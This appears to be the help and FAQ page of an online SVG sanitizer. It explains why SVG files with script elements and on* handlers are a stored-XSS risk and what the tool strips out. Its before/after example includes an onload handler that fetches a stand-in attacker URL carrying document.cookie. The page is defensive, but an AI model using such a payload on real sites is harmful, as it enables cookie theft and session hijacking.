SVG Purifier

How SVG sanitizing works

SVG is an XML format, and — unlike a raster image such as PNG or JPEG — the spec allows it to carry a real <script> element and on* event-handler attributes (onload, onclick...), exactly like HTML. Per the W3C SVG 2 specification, those scripts execute when the SVG is opened directly in a browser tab, embedded inline in a page's markup, or loaded in certain non-<img> contexts. A user-uploaded or downloaded SVG icon is therefore a real stored-XSS vector until it's been sanitized — this tool removes exactly that risk, unconditionally:

<!-- Before -->
<svg onload="fetch('https://evil.example/steal?c='+document.cookie)">
  <script>/* more malicious code */</script>
  <metadata>Adobe Illustrator junk</metadata>
  <circle cx="50.123456" cy="50.987654" r="40" onclick="alert(1)"/>
</svg>

<!-- After (precision 2) -->
<svg>
  <circle cx="50.12" cy="50.99" r="40"/>
</svg>

Every attribute name is checked case-insensitively for an on prefix, every <script> element is removed outright, and javascript: URLs inside href/xlink:href are stripped too — none of that is a toggle. Everything else (editor metadata, comments, whitespace, coordinate precision) is optional cosmetic cleanup on top. The before/after previews never render the pasted markup as live DOM; both go through an <img src="data:image/svg+xml;base64,...">, a context where browsers never execute embedded scripts, so the preview is safe even for markup that hasn't been cleaned yet.

Frequently asked questions

Why is an SVG file a security risk in the first place?

SVG is XML, and the spec allows a <script> element and on* event-handler attributes inside it, exactly like HTML. If that SVG is opened directly in a browser tab, embedded inline in a page, or referenced in certain non-<img> contexts, those scripts can execute — turning an image upload feature into a stored XSS vector. Files from an untrusted source (a user upload, a downloaded icon pack) should always be sanitized first.

Is removing <script> and on* attributes optional?

No. Those two removals always run, with no toggle to disable them, because they are the actual security-relevant part of this tool. Everything else (metadata, comments, coordinate precision) is cosmetic cleanup.

Does the live preview execute the pasted SVG?

No, by design. Both the "original" and "cleaned" previews are rendered as an <img> using a data: URI, never injected into the page as live markup. Browsers never execute scripts or event handlers inside an SVG used as an image source — so the preview stays safe even before sanitization runs.

Will this break my icon's appearance?

It shouldn't. Coordinate rounding only trims decimal precision (2 places by default), which is visually indistinguishable at any normal display size. If you need byte-exact coordinates, set precision higher in the controls.